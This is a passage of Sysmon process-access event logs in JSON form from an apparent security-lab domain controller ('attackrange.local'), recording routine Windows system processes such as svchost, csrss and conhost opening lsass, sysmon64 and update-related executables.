11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010E1250900}\r\nSourceProcessId: 4336\r\nSourceThreadId: 864\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00101F250900}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010E1250900}","SourceProcessId":"4336","SourceThreadId":"864","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00101F250900}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1248\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-001075270900}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Windows\\system32\\speech_onecore\\common\\SpeechModelDownload.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\UBPM.dll+ac60|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1248","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-001075270900}","TargetProcessId":"4024","TargetImage":"C:\\Windows\\system32\\speech_onecore\\common\\SpeechModelDownload.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\UBPM.dll+ac60|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-001075270900}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Windows\\system32\\speech_onecore\\common\\SpeechModelDownload.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-001075270900}","TargetProcessId":"4024","TargetImage":"C:\\Windows\\system32\\speech_onecore\\common\\SpeechModelDownload.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 